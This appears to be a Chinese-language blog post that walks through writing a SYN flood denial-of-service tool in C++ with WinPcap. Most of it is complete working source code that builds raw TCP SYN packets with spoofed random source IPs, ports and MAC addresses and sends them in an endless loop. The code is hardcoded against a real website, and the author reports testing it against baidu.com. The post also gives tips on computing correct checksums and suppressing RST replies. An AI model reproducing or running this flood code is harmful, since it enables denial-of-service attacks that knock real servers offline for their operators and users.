网上这样的帖子很多,但有几个问题一直没解决。
1、在计算TCP报头的校验和时应该还有伪报头,很多人都没有。
2、在封装以太网数据包时需要用到目的地址的mac地址,由于很多人是在虚拟机上测,目的mac也就知道,但事实上,对于真正的远端主机来说,我们只能获取它的IP地址,而mac地址是无法获取的。而事实上,这儿的目标mac应该写的是网关mac地址。
下面看我一步一步写syn攻击。
一、首先要清楚TCP/IP报头,清楚三次握手,这个别的地方将的很多。而syn flood攻击就是向服务器发送大量的syn请求包,让服务器保持这些连接而拒绝其他正常连接请求。
- /* IP报文格式
- 0 8 16 32
- +------------+------------+-------------------------+
- | ver + hlen | 服务类型 | 总长度 |
- +------------+------------+----+--------------------+
- | 标识位 |flag| 分片偏移(13位) |
- +------------+------------+----+--------------------+
- | 生存时间 | 高层协议号 | 首部校验和 |
- +------------+------------+-------------------------+
- | 源 IP 地址 |
- +---------------------------------------------------+
- | 目的 IP 地址 |
- +---------------------------------------------------+
- */
- struct IP_HEADER
- {
- byte versionAndHeader;
- byte serviceType;
- byte totalLen[2];
- byte seqNumber[2];
- byte flagAndFragPart[2];
- byte ttl;
- byte hiProtovolType;
- byte headerCheckSum[2];
- byte srcIpAddr[4];
- byte dstIpAddr[4];
- };
- /*
- TCP 报文
- 0 16 32
- +------------------------+-------------------------+
- | 源端口地址 | 目的端口地址 |
- +------------------------+-------------------------+
- | 序列号 |
- +--------------------------------------------------+
- | 确认号 |
- +------+--------+--------+-------------------------+
- |HLEN/4| 保留位 |控制位/6 | 窗口尺寸 |
- +------+--------+--------+-------------------------+
- | 校验和 | 应急指针 |
- +------------------------+-------------------------+
- */
- struct TCP_HEADER
- {
- byte srcPort[2];
- byte dstPort[2];
- byte seqNumber[4];
- byte ackNumber[4];
- byte headLen;
- byte contrl;
- byte wndSize[2];
- byte checkSum[2];
- byte uragentPtr[2];
- };
- struct PSDTCP_HEADER //这是TCP的伪报头,在计算TCP的校验和时需要包含
- {
- byte srcIpAddr[4]; //Source IP address; 32 bits
- byte dstIpAddr[4]; //Destination IP address; 32 bits
- byte padding; //padding
- byte protocol; //Protocol; 8 bits
- byte tcpLen[2]; //TCP length; 16 bits
- } ;
- struct ETHERNET_HEADER //以太网帧头
- {
- byte dstMacAddr[6];
- byte srcMacAddr[6];
- byte ethernetType[2];
- };
我还是直接贴代码吧
- #include <stdio.h>
- #include <stdlib.h>
- #include <pcap.h>
- #include <winsock2.h>
- #include <conio.h>
- #include <iostream>
- #include <packet32.h>
- #include <ntddndis.h>
- #include <time.h>
- #include <string>
- #include <vector>
- using namespace std;
- #pragma comment(lib, "../common/lib/Packet.lib")
- #pragma comment(lib, "../common/lib/wpcap.lib")
- #pragma comment(lib, "ws2_32.lib")
- /* IP报文格式
- 0 8 16 32
- +------------+------------+-------------------------+
- | ver + hlen | 服务类型 | 总长度 |
- +------------+------------+----+--------------------+
- | 标识位 |flag| 分片偏移(13位) |
- +------------+------------+----+--------------------+
- | 生存时间 | 高层协议号 | 首部校验和 |
- +------------+------------+-------------------------+
- | 源 IP 地址 |
- +---------------------------------------------------+
- | 目的 IP 地址 |
- +---------------------------------------------------+
- */
- struct IP_HEADER
- {
- byte versionAndHeader;
- byte serviceType;
- byte totalLen[2];
- byte seqNumber[2];
- byte flagAndFragPart[2];
- byte ttl;
- byte hiProtovolType;
- byte headerCheckSum[2];
- byte srcIpAddr[4];
- byte dstIpAddr[4];
- };
- /*
- TCP 报文
- 0 16 32
- +------------------------+-------------------------+
- | 源端口地址 | 目的端口地址 |
- +------------------------+-------------------------+
- | 序列号 |
- +--------------------------------------------------+
- | 确认号 |
- +------+--------+--------+-------------------------+
- |HLEN/4| 保留位 |控制位/6| 窗口尺寸 |
- +------+--------+--------+-------------------------+
- | 校验和 | 应急指针 |
- +------------------------+-------------------------+
- */
- struct TCP_HEADER
- {
- byte srcPort[2];
- byte dstPort[2];
- byte seqNumber[4];
- byte ackNumber[4];
- byte headLen;
- byte contrl;
- byte wndSize[2];
- byte checkSum[2];
- byte uragentPtr[2];
- };
- struct PSDTCP_HEADER
- {
- byte srcIpAddr[4]; //Source IP address; 32 bits
- byte dstIpAddr[4]; //Destination IP address; 32 bits
- byte padding; //padding
- byte protocol; //Protocol; 8 bits
- byte tcpLen[2]; //TCP length; 16 bits
- } ;
- struct ETHERNET_HEADER
- {
- byte dstMacAddr[6];
- byte srcMacAddr[6];
- byte ethernetType[2];
- };
- struct DEVS_INFO
- {
- char szDevName[512];
- char szDevsDescription[512];
- };
- int GetAllDevs( DEVS_INFO devsList[] )
- {
- int nDevsNum = 0;
- pcap_if_t *alldevs;
- char errbuf[PCAP_ERRBUF_SIZE];
- if ( pcap_findalldevs(&alldevs,errbuf) == -1 )
- {
- return -1;
- printf("error in pcap_findalldevs_ex: %s\n",errbuf);
- }
- for ( pcap_if_t *d = alldevs; d != NULL; d = d->next )
- {
- strcpy( devsList[nDevsNum].szDevName, d->name );
- strcpy( devsList[nDevsNum].szDevsDescription, d->description );
- nDevsNum++;
- }
- pcap_freealldevs(alldevs);
- return nDevsNum;
- }
- int GetAdapterMacAddr( char *lpszAdapterName, unsigned char ucMacAddr[] )
- {
- LPADAPTER lpAdapter = PacketOpenAdapter( lpszAdapterName );
- if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
- {
- return -1;
- }
- PPACKET_OID_DATA oidData = ( PPACKET_OID_DATA )malloc(6 + sizeof(PACKET_OID_DATA));
- if ( NULL == oidData )
- {
- PacketCloseAdapter(lpAdapter);
- return -1;
- }
- oidData->Oid = OID_802_3_CURRENT_ADDRESS;
- oidData->Length = 6;
- memset(oidData->Data, 0, 6 );
- BOOLEAN bStatus = PacketRequest(lpAdapter, FALSE, oidData);
- if ( bStatus )
- {
- for ( int i = 0; i < 6; ++i )
- {
- ucMacAddr[i] = (oidData->Data)[i];
- }
- }
- else
- {
- return -1;
- free( oidData );
- }
- free( oidData );
- PacketCloseAdapter( lpAdapter );
- return 0;
- }
- int GetIpByHost(const char *lpszHost, std::vector<std::string> &ipList )
- {
- WSADATA wsadata;
- WSAStartup(MAKEWORD(2, 2),&wsadata);
- hostent *phost=gethostbyname( lpszHost );
- in_addr addr;
- char *p = phost->h_addr_list[0];
- for(int i = 1; NULL != p; i++)
- {
- memcpy(&addr.S_un.S_addr, p, phost->h_length);
- ipList.push_back( inet_ntoa( addr ));
- p = phost->h_addr_list[i];
- }
- return 0;
- }
- int GetGatewayMacAddr( byte macAddr[] )
- {
- byte mac[] = {0x00, 0x00, 0x5e, 0x00, 0x01, 0x48};
- //00-00-5e-00-01-48
- memcpy( macAddr, mac, 6 );
- return 0;
- }
- unsigned short CheckSum(unsigned short packet[], int size )
- {
- unsigned long cksum = 0;
- while (size > 1)
- {
- cksum += *packet++;
- size -= sizeof(USHORT);
- }
- if (size)
- {
- cksum += *(UCHAR*)packet;
- }
- cksum = (cksum >> 16) + (cksum & 0xFFFF);
- cksum += (cksum >>16);
- return (USHORT)(~cksum);
- }
- int EncodeSynPacket( byte packet[], const char *lpszSrcIpAddr, const char *lpszDstIpAddr, byte srcMacAddr[])
- {
- TCP_HEADER tcpHeader;
- memset(&tcpHeader, 0, sizeof tcpHeader );
- *(unsigned short *)tcpHeader.srcPort = htons(9999);
- *(unsigned short *)tcpHeader.dstPort = htons(80);
- *(unsigned int *)tcpHeader.seqNumber = htonl(0xFFFF);
- *(unsigned int *)tcpHeader.ackNumber = htonl(0x00);
- tcpHeader.headLen = 5 << 4;
- tcpHeader.contrl = 1 << 1;
- *(unsigned short *)tcpHeader.wndSize = htons(0xFFFF);
- IP_HEADER ipHeader;
- memset( &ipHeader, 0, sizeof ipHeader );
- unsigned char versionAndLen = 0x04;
- versionAndLen <<= 4;
- versionAndLen |= sizeof ipHeader / 4; //版本 + 头长度
- ipHeader.versionAndHeader = versionAndLen;
- *(unsigned short *)ipHeader.totalLen = htons( sizeof(IP_HEADER) + sizeof(TCP_HEADER) );
- ipHeader.ttl = 0xFF;
- ipHeader.hiProtovolType = 0x06;
- *(unsigned int *)(ipHeader.srcIpAddr) = inet_addr(lpszSrcIpAddr);
- *(unsigned int *)(ipHeader.dstIpAddr) = inet_addr(lpszDstIpAddr);
- //*(unsigned short *)(ipHeader.headerCheckSum) = CheckSum( (unsigned short *)&ipHeader, sizeof ipHeader );
- byte gatewayMac[] = {0x00, 0x00, 0x5e, 0x00, 0x01, 0x48};
- ETHERNET_HEADER ethHeader;
- memset(ðHeader, 0, sizeof ethHeader);
- memcpy(ethHeader.dstMacAddr, gatewayMac, 6);
- memcpy(ethHeader.srcMacAddr, srcMacAddr, 6);
- *(unsigned short *)ethHeader.ethernetType = htons(0x0800);
- //memset(packet, 0, sizeof packet);
- memcpy(packet, ðHeader, sizeof ethHeader);
- memcpy(packet + sizeof ethHeader, &ipHeader, sizeof ipHeader);
- memcpy(packet + sizeof ethHeader + sizeof ipHeader, &tcpHeader, sizeof tcpHeader);
- return (sizeof ethHeader + sizeof ipHeader + sizeof tcpHeader);
- }
- int main()
- {
- system("mode con cols=110 lines=20");
- DEVS_INFO devsList[64];
- int nDevsNum = GetAllDevs( devsList );
- if ( nDevsNum < 1 )
- {
- printf("Get adapter infomation failed!");
- exit(0);
- }
- for ( int i = 0; i < nDevsNum; ++i )
- {
- printf("%d %s\t%s\n", i+1, devsList[i].szDevName, devsList[i].szDevsDescription );
- }
- printf("Input your select adapter index: ");
- int selIndex = 0;
- scanf("%d", &selIndex);
- if ( selIndex < 0 || selIndex > nDevsNum+1 )
- {
- printf("Out of range!\nPress any key to exit...");
- getch();
- return 0;
- }
- char szError[PCAP_ERRBUF_SIZE];
- pcap_t *handle = pcap_open_live(devsList[selIndex-1].szDevName, 65536, 1, 1000, szError );
- if ( NULL == handle )
- {
- printf("Open adapter failed!\nPress any key to exit...");
- getch();
- return 0;
- }
- byte localMacAddr[6];
- memset(localMacAddr, 0, sizeof localMacAddr);
- if ( 0 != GetAdapterMacAddr(devsList[selIndex-1].szDevName, localMacAddr) )
- {
- printf("Get localhost mac addr failed!\nPress any key to exit...");
- getch();
- return 0;
- }
- std::vector<std::string> ipList;
- GetIpByHost("www.szbike.com", ipList);
- byte packet[1024];
- int size = EncodeSynPacket( packet, "0.0.0.0", ipList[0].c_str(), localMacAddr);
- //return 0;
- ETHERNET_HEADER *pEtherentHeader = (ETHERNET_HEADER *)packet;
- IP_HEADER *pIpHeader = ( IP_HEADER *)(packet + sizeof(ETHERNET_HEADER));
- TCP_HEADER *pTcpHeader = ( TCP_HEADER *)(packet + sizeof(ETHERNET_HEADER) + sizeof(IP_HEADER));
- //*srand(time(0));
- unsigned short srcPort = 0;//= rand() %0xFFFFFFFF;
- unsigned int srcIpAddr = 0;
- unsigned int baseIpAddr = ntohl(inet_addr("10.126.0.0"));
- byte psdPacket[128];
- memset(psdPacket, 0x00, sizeof psdPacket );
- PSDTCP_HEADER *psdHeader = (PSDTCP_HEADER *)psdPacket;
- *(unsigned int *)(psdHeader->dstIpAddr) = inet_addr(ipList[0].c_str());
- *(unsigned short *)(psdHeader->tcpLen) = htons(sizeof(TCP_HEADER));
- psdHeader->protocol = 0x06;
- psdHeader->padding = 0x00;
- memcpy( psdPacket + sizeof(PSDTCP_HEADER), pTcpHeader, sizeof(TCP_HEADER));
- unsigned int seq = 0;
- srand( time(0) );
- while ( 1 )
- {
- for ( int i = 0; i < 6; ++i )
- {
- pEtherentHeader->srcMacAddr[i] = (byte)(rand() % (0xFF+1) );
- }
- seq = rand() % 0xFFFFFF;
- srcPort = rand() % 0xFFFF;
- srcIpAddr = baseIpAddr + rand() % 0xFFFF;
- *(unsigned int *)(pIpHeader->srcIpAddr) = htonl(srcIpAddr);
- *(unsigned short *)(pIpHeader->headerCheckSum) = 0x0000;
- *(unsigned short *)(pIpHeader->headerCheckSum) = CheckSum( ( unsigned short * )pIpHeader, sizeof (IP_HEADER));
- *(unsigned int *)(psdHeader->srcIpAddr) = htonl(srcIpAddr);
- *(unsigned int *)(psdHeader->srcIpAddr) = htonl(srcIpAddr);
- TCP_HEADER *psdTcpHeader = (TCP_HEADER *)(psdPacket + sizeof(PSDTCP_HEADER) );
- *(unsigned int *)(psdTcpHeader->seqNumber) = htonl(seq);
- *(unsigned int *)(pTcpHeader->seqNumber) = htonl(seq);//htonl(rand() % 0xFFFFFF );
- *(unsigned short *)(pTcpHeader->srcPort) = htons(srcPort);
- *(unsigned short *)(psdTcpHeader->srcPort) = htons(srcPort);
- *(unsigned short *)(pTcpHeader->checkSum) = 0x0000;
- *(unsigned short *)(pTcpHeader->checkSum) = CheckSum( (unsigned short *)psdPacket, sizeof(PSDTCP_HEADER) + sizeof(TCP_HEADER) );
- //system("pause");
- Sleep(0);
- pcap_sendpacket(handle, packet, size );
- }
- if ( NULL == handle )
- {
- printf("\nUnable to open the adapter. %s is not supported by WinPcap\n");
- return 0;
- }
- pcap_close(handle);
- return 0;
- }
这是对www.baidu.com的测试,可以看到,发出之后百度返回了syn+ack,这时如果我们不再继续,百度的服务器就会等一段时间,这就实现了一次攻击,当然了,真正的攻击需要成千上万个这样的数据包。
在测试的时候有时候收到syn+ack后,系统会自动发一个rest,开启windows防火墙可避免这种情况。